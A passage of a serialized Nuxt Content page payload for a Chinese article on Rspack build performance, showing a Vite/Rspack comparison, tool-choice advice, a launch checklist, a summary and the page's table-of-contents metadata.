生态",{"type":24,"tag":1483,"props":2305,"children":2306},{},[2307,2312,2317],{"type":24,"tag":1514,"props":2308,"children":2309},{},[2310],{"type":30,"value":2311},"适用项目",{"type":24,"tag":1514,"props":2313,"children":2314},{},[2315],{"type":30,"value":2316},"Webpack 迁移、大型 monorepo",{"type":24,"tag":1514,"props":2318,"children":2319},{},[2320],{"type":30,"value":2321},"新项目、中小型",{"type":24,"tag":37,"props":2323,"children":2324},{},[2325],{"type":30,"value":2326},"选择建议：",{"type":24,"tag":466,"props":2328,"children":2329},{},[2330,2335,2340],{"type":24,"tag":403,"props":2331,"children":2332},{},[2333],{"type":30,"value":2334},"新项目：优先 Vite",{"type":24,"tag":403,"props":2336,"children":2337},{},[2338],{"type":30,"value":2339},"Webpack 遗留项目：Rspack",{"type":24,"tag":403,"props":2341,"children":2342},{},[2343],{"type":30,"value":2344},"大型 monorepo + Webpack 依赖：Rspack",{"type":24,"tag":1297,"props":2346,"children":2347},{},[],{"type":24,"tag":25,"props":2349,"children":2351},{"id":2350},"_10-上线检查清单",[2352],{"type":30,"value":2353},"10. 上线检查清单",{"type":24,"tag":466,"props":2355,"children":2357},{"className":2356},[817],[2358,2367,2376,2385,2394,2403],{"type":24,"tag":403,"props":2359,"children":2361},{"className":2360},[822],[2362,2365],{"type":24,"tag":825,"props":2363,"children":2364},{"disabled":18,"type":827},[],{"type":30,"value":2366}," 本地开发环境已验证（HMR/热更新正常）",{"type":24,"tag":403,"props":2368,"children":2370},{"className":2369},[822],[2371,2374],{"type":24,"tag":825,"props":2372,"children":2373},{"disabled":18,"type":827},[],{"type":30,"value":2375}," CI 构建已切换并观测 3 天以上",{"type":24,"tag":403,"props":2377,"children":2379},{"className":2378},[822],[2380,2383],{"type":24,"tag":825,"props":2381,"children":2382},{"disabled":18,"type":827},[],{"type":30,"value":2384}," 产物体积对比无异常（baseline ± 5%）",{"type":24,"tag":403,"props":2386,"children":2388},{"className":2387},[822],[2389,2392],{"type":24,"tag":825,"props":2390,"children":2391},{"disabled":18,"type":827},[],{"type":30,"value":2393}," 关键页面功能回归测试通过",{"type":24,"tag":403,"props":2395,"children":2397},{"className":2396},[822],[2398,2401],{"type":24,"tag":825,"props":2399,"children":2400},{"disabled":18,"type":827},[],{"type":30,"value":2402}," 有构建耗时与缓存命中率监控",{"type":24,"tag":403,"props":2404,"children":2406},{"className":2405},[822],[2407,2410],{"type":24,"tag":825,"props":2408,"children":2409},{"disabled":18,"type":827},[],{"type":30,"value":2411}," 有回滚方案（保留 Webpack 配置）",{"type":24,"tag":1297,"props":2413,"children":2414},{},[],{"type":24,"tag":25,"props":2416,"children":2417},{"id":390},[2418],{"type":30,"value":390},{"type":24,"tag":37,"props":2420,"children":2421},{},[2422],{"type":30,"value":2423},"Rspack 的核心价值是：",{"type":24,"tag":466,"props":2425,"children":2426},{},[2427,2432,2437],{"type":24,"tag":403,"props":2428,"children":2429},{},[2430],{"type":30,"value":2431},"在 Webpack 生态下获得接近 Vite 的速度",{"type":24,"tag":403,"props":2433,"children":2434},{},[2435],{"type":30,"value":2436},"对大型项目构建成本与开发体验的显著改善",{"type":24,"tag":403,"props":2438,"children":2439},{},[2440],{"type":30,"value":2441},"生产级稳定性（字节跳动内部大规模验证）",{"title":7,"searchDepth":512,"depth":512,"links":2443},[2444,2445,2449,2454,2455,2460,2465,2466,2467,2472,2473,2474],{"id":1218,"depth":515,"text":1203},{"id":1302,"depth":515,"text":1305,"children":2446},[2447,2448],{"id":1313,"depth":512,"text":1316},{"id":1352,"depth":512,"text":1355},{"id":1379,"depth":515,"text":1382,"children":2450},[2451,2452,2453],{"id":1385,"depth":512,"text":1388},{"id":1409,"depth":512,"text":1412},{"id":1433,"depth":512,"text":1436},{"id":1465,"depth":515,"text":1468},{"id":1648,"depth":515,"text":1651,"children":2456},[2457,2458,2459],{"id":1654,"depth":512,"text":1657},{"id":1750,"depth":512,"text":1753},{"id":1819,"depth":512,"text":1822},{"id":1846,"depth":515,"text":1849,"children":2461},[2462,2463,2464],{"id":1852,"depth":512,"text":1855},{"id":1876,"depth":512,"text":1879},{"id":1898,"depth":512,"text":1901},{"id":1963,"depth":515,"text":1966},{"id":2034,"depth":515,"text":2037},{"id":2117,"depth":515,"text":2120,"children":2468},[2469,2470,2471],{"id":2123,"depth":512,"text":2126},{"id":2152,"depth":512,"text":2155},{"id":2176,"depth":512,"text":2179},{"id":2203,"depth":515,"text":2206},{"id":2350,"depth":515,"text":2353},{"id":390,"depth":515,"text":390},"content:topics:frontend:rspack-performance-practice.md","topics/frontend/rspack-performance-practice.md","topics/frontend/rspack-performance-practice",{"_path":4,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":8,"description":9,"date":10,"topic":5,"author":11,"tags":2479,"image":17,"featured":18,"readingTime":19,"body":2480,"_type":555,"_id":556,"_source":557,"_file":558,"_stem":559,"_extension":560},[13,14,15,16],{"type":21,"children":2481,"toc":2866},[2482,2486,2490,2494,2498,2502,2509,2513,2517,2525,2529,2537,2541,2549,2553,2557,2565,2569,2577,2581,2585,2593,2597,2605,2609,2613,2621,2625,2633,2637,2641,2649,2653,2661,2665,2669,2677,2681,2689,2693,2697,2705,2709,2717,2721,2725,2733,2737,2745,2753,2761,2769,2773,2777,2820,2827,2831],{"type":24,"tag":25,"props":2483,"children":2484},{"id":27},[2485],{"type":30,"value":27},{"type":24,"tag":25,"props":2487,"children":2488},{"id":33},[2489],{"type":30,"value":33},{"type":24,"tag":37,"props":2491,"children":2492},{},[2493],{"type":30,"value":41},{"type":24,"tag":25,"props":2495,"children":2496},{"id":44},[2497],{"type":30,"value":44},{"type":24,"tag":48,"props":2499,"children":2500},{"id":50},[2501],{"type":30,"value":50},{"type":24,"tag":54,"props":2503,"children":2504},{"code":56},[2505],{"type":24,"tag":59,"props":2506,"children":2507},{"__ignoreMap":7},[2508],{"type":30,"value":56},{"type":24,"tag":25,"props":2510,"children":2511},{"id":65},[2512],{"type":30,"value":68},{"type":24,"tag":48,"props":2514,"children":2515},{"id":71},[2516],{"type":30,"value":74},{"type":24,"tag":54,"props":2518,"children":2520},{"code":77,"language":78,"meta":7,"className":2519},[80],[2521],{"type":24,"tag":59,"props":2522,"children":2523},{"__ignoreMap":7},[2524],{"type":30,"value":77},{"type":24,"tag":48,"props":2526,"children":2527},{"id":88},[2528],{"type":30,"value":91},{"type":24,"tag":54,"props":2530,"children":2532},{"code":94,"language":78,"meta":7,"className":2531},[80],[2533],{"type":24,"tag":59,"props":2534,"children":2535},{"__ignoreMap":7},[2536],{"type":30,"value":94},{"type":24,"tag":48,"props":2538,"children":2539},{"id":103},[2540],{"type":30,"value":106},{"type":24,"tag":54,"props":2542,"children":2544},{"code":109,"language":78,"meta":7,"className":2543},[80],[2545],{"type":24,"tag":59,"props":2546,"children":2547},{"__ignoreMap":7},[2548],{"type":30,"value":109},{"type":24,"tag":25,"props":2550,"children":2551},{"id":118},[2552],{"type":30,"value":121},{"type":24,"tag":48,"props":2554,"children":2555},{"id":124},[2556],{"type":30,"value":127},{"type":24,"tag":54,"props":2558,"children":2560},{"code":130,"language":78,"meta":7,"className":2559},[80],[2561],{"type":24,"tag":59,"props":2562,"children":2563},{"__ignoreMap":7},[2564],{"type":30,"value":130},{"type":24,"tag":48,"props":2566,"children":2567},{"id":139},[2568],{"type":30,"value":142},{"type":24,"tag":54,"props":2570,"children":2572},{"code":145,"language":78,"meta":7,"className":2571},[80],[2573],{"type":24,"tag":59,"props":2574,"children":2575},{"__ignoreMap":7},[2576],{"type":30,"value":145},{"type":24,"tag":25,"props":2578,"children":2579},{"id":154},[2580],{"type":30,"value":154},{"type":24,"tag":48,"props":2582,"children":2583},{"id":159},[2584],{"type":30,"value":159},{"type":24,"tag":54,"props":2586,"children":2588},{"code":164,"language":165,"meta":7,"className":2587},[167],[2589],{"type":24,"tag":59,"props":2590,"children":2591},{"__ignoreMap":7},[2592],{"type":30,"value":164},{"type":24,"tag":48,"props":2594,"children":2595},{"id":175},[2596],{"type":30,"value":175},{"type":24,"tag":54,"props":2598,"children":2600},{"code":180,"language":78,"meta":7,"className":2599},[80],[2601],{"type":24,"tag":59,"props":2602,"children":2603},{"__ignoreMap":7},[2604],{"type":30,"value":180},{"type":24,"tag":25,"props":2606,"children":2607},{"id":189},[2608],{"type":30,"value":189},{"type":24,"tag":48,"props":2610,"children":2611},{"id":194},[2612],{"type":30,"value":194},{"type":24,"tag":54,"props":2614,"children":2616},{"code":199,"language":78,"meta":7,"className":2615},[80],[2617],{"type":24,"tag":59,"props":2618,"children":2619},{"__ignoreMap":7},[2620],{"type":30,"value":199},{"type":24,"tag":48,"props":2622,"children":2623},{"id":208},[2624],{"type":30,"value":208},{"type":24,"tag":54,"props":2626,"children":2628},{"code":213,"language":78,"meta":7,"className":2627},[80],[2629],{"type":24,"tag":59,"props":2630,"children":2631},{"__ignoreMap":7},[2632],{"type":30,"value":213},{"type":24,"tag":25,"props":2634,"children":2635},{"id":222},[2636],{"type":30,"value":222},{"type":24,"tag":48,"props":2638,"children":2639},{"id":227},[2640],{"type":30,"value":227},{"type":24,"tag":54,"props":2642,"children":2644},{"code":232,"language":78,"meta":7,"className":2643},[80],[2645],{"type":24,"tag":59,"props":2646,"children":2647},{"__ignoreMap":7},[2648],{"type":30,"value":232},{"type":24,"tag":48,"props":2650,"children":2651},{"id":241},[2652],{"type":30,"value":241},{"type":24,"tag":54,"props":2654,"children":2656},{"code":246,"language":78,"meta":7,"className":2655},[80],[2657],{"type":24,"tag":59,"props":2658,"children":2659},{"__ignoreMap":7},[2660],{"type":30,"value":246},{"type":24,"tag":25,"props":2662,"children":2663},{"id":255},[2664],{"type":30,"value":258},{"type":24,"tag":48,"props":2666,"children":2667},{"id":261},[2668],{"type":30,"value":264},{"type":24,"tag":54,"props":2670,"children":2672},{"code":267,"language":78,"meta":7,"className":2671},[80],[2673],{"type":24,"tag":59,"props":2674,"children":2675},{"__ignoreMap":7},[2676],{"type":30,"value":267},{"type":24,"tag":48,"props":2678,"children":2679},{"id":276},[2680],{"type":30,"value":279},{"type":24,"tag":54,"props":2682,"children":2684},{"code":282,"language":78,"meta":7,"className":2683},[80],[2685],{"type":24,"tag":59,"props":2686,"children":2687},{"__ignoreMap":7},[2688],{"type":30,"value":282},{"type":24,"tag":25,"props":2690,"children":2691},{"id":291},[2692],{"type":30,"value":291},{"type":24,"tag":48,"props":2694,"children":2695},{"id":296},[2696],{"type":30,"value":296},{"type":24,"tag":54,"props":2698,"children":2700},{"code":301,"language":78,"meta":7,"className":2699},[80],[2701],{"type":24,"tag":59,"props":2702,"children":2703},{"__ignoreMap":7},[2704],{"type":30,"value":301},{"type":24,"tag":48,"props":2706,"children":2707},{"id":310},[2708],{"type":30,"value":313},{"type":24,"tag":54,"props":2710,"children":2712},{"code":316,"language":78,"meta":7,"className":2711},[80],[2713],{"type":24,"tag":59,"props":2714,"children":2715},{"__ignoreMap":7},[2716],{"type":30,"value":316},{"type":24,"tag":25,"props":2718,"children":2719},{"id":325},[2720],{"type":30,"value":325},{"type":24,"tag":48,"props":2722,"children":2723},{"id":330},[2724],{"type":30,"value":330},{"type":24,"tag":54,"props":2726,"children":2728},{"code":335,"language":78,"meta":7,"className":2727},[80],[2729],{"type":24,"tag":59,"props":2730,"children":2731},{"__ignoreMap":7},[2732],{"type":30,"value":335},{"type":24,"tag":25,"props":2734,"children":2735},{"id":344},[2736],{"type":30,"value":344},{"type":24,"tag":37,"props":2738,"children":2739},{},[2740,2744],{"type":24,"tag":351,"props":2741,"children":2742},{},[2743],{"type":30,"value":355},{"type":30,"value":357},{"type":24,"tag":37,"props":2746,"children":2747},{},[2748,2752],{"type":24,"tag":351,"props":2749,"children":2750},{},[2751],{"type":30,"value":365},{"type":30,"value":367},{"type":24,"tag":37,"props":2754,"children":2755},{},[2756,2760],{"type":24,"tag":351,"props":2757,"children":2758},{},[2759],{"type":30,"value":375},{"type":30,"value":377},{"type":24,"tag":37,"props":2762,"children":2763},{},[2764,2768],{"type":24,"tag":351,"props":2765,"children":2766},{},[2767],{"type":30,"value":385},{"type":30,"value":387},{"type":24,"tag":25,"props":2770,"children":2771},{"id":390},[2772],{"type":30,"value":390},{"type":24,"tag":37,"props":2774,"children":2775},{},[2776],{"type":30,"value":397},{"type":24,"tag":399,"props":2778,"children":2779},{},[2780,2788,2796,2804,2812],{"type":24,"tag":403,"props":2781,"children":2782},{},[2783,2787],{"type":24,"tag":351,"props":2784,"children":2785},{},[2786],{"type":30,"value":410},{"type":30,"value":412},{"type":24,"tag":403,"props":2789,"children":2790},{},[2791,2795],{"type":24,"tag":351,"props":2792,"children":2793},{},[2794],{"type":30,"value":420},{"type":30,"value":422},{"type":24,"tag":403,"props":2797,"children":2798},{},[2799,2803],{"type":24,"tag":351,"props":2800,"children":2801},{},[2802],{"type":30,"value":154},{"type":30,"value":431},{"type":24,"tag":403,"props":2805,"children":2806},{},[2807,2811],{"type":24,"tag":351,"props":2808,"children":2809},{},[2810],{"type":30,"value":439},{"type":30,"value":441},{"type":24,"tag":403,"props":2813,"children":2814},{},[2815,2819],{"type":24,"tag":351,"props":2816,"children":2817},{},[2818],{"type":30,"value":449},{"type":30,"value":451},{"type":24,"tag":37,"props":2821,"children":2822},{},[2823],{"type":24,"tag":351,"props":2824,"children":2825},{},[2826],{"type":30,"value":459},{"type":24,"tag":25,"props":2828,"children":2829},{"id":462},[2830],{"type":30,"value":462},{"type":24,"tag":466,"props":2832,"children":2833},{},[2834,2842,2850,2858],{"type":24,"tag":403,"props":2835,"children":2836},{},[2837],{"type":24,"tag":473,"props":2838,"children":2840},{"href":475,"rel":2839},[477],[2841],{"type":30,"value":480},{"type":24,"tag":403,"props":2843,"children":2844},{},[2845],{"type":24,"tag":473,"props":2846,"children":2848},{"href":486,"rel":2847},[477],[2849],{"type":30,"value":490},{"type":24,"tag":403,"props":2851,"children":2852},{},[2853],{"type":24,"tag":473,"props":2854,"children":2856},{"href":496,"rel":2855},[477],[2857],{"type":30,"value":500},{"type":24,"tag":403,"props":2859,"children":2860},{},[2861],{"type":24,"tag":473,"props":2862,"children":2864},{"href":506,"rel":2863},[477],[2865],{"type":30,"value":510},{"title":7,"searchDepth":512,"depth":512,"links":2867},[2868,2869,2870,2873,2878,2882,2886,2890,2894,2898,2902,2905,2906,2907],{"id":27,"depth":515,"text":27},{"id":33,"depth":515,"text":33},{"id":44,"depth":515,"text":44,"children":2871},[2872],{"id":50,"depth":512,"text":50},{"id":65,"depth":515,"text":68,"children":2874},[2875,2876,2877],{"id":71,"depth":512,"text":74},{"id":88,"depth":512,"text":91},{"id":103,"depth":512,"text":106},{"id":118,"depth":515,"text":121,"children":2879},[2880,2881],{"id":124,"depth":512,"text":127},{"id":139,"depth":512,"text":142},{"id":154,"depth":515,"text":154,"children":2883},[2884,2885],{"id":159,"depth":512,"text":159},{"id":175,"depth":512,"text":175},{"id":189,"depth":515,"text":189,"children":2887},[2888,2889],{"id":194,"depth":512,"text":194},{"id":208,"depth":512,"text":208},{"id":222,"depth":515,"text":222,"children":2891},[2892,2893],{"id":227,"depth":512,"text":227},{"id":241,"depth":512,"text":241},{"id":255,"depth":515,"text":258,"children":2895},[2896,2897],{"id":261,"depth":512,"text":264},{"id":276,"depth":512,"text":279},{"id":291,"depth":515,"text":291,"children":2899},[2900,2901],{"id":296,"depth":512,"text":296},{"id":310,"depth":512,"text":313},{"id":325,"depth":515,"text":325,"children":2903},[2904],{"id":330,"depth":512,"text":330},{"id":344,"depth":515,"text":344},{"id":390,"depth":515,"text":390},{"id":462,"depth":515,"text":462},1778574594101]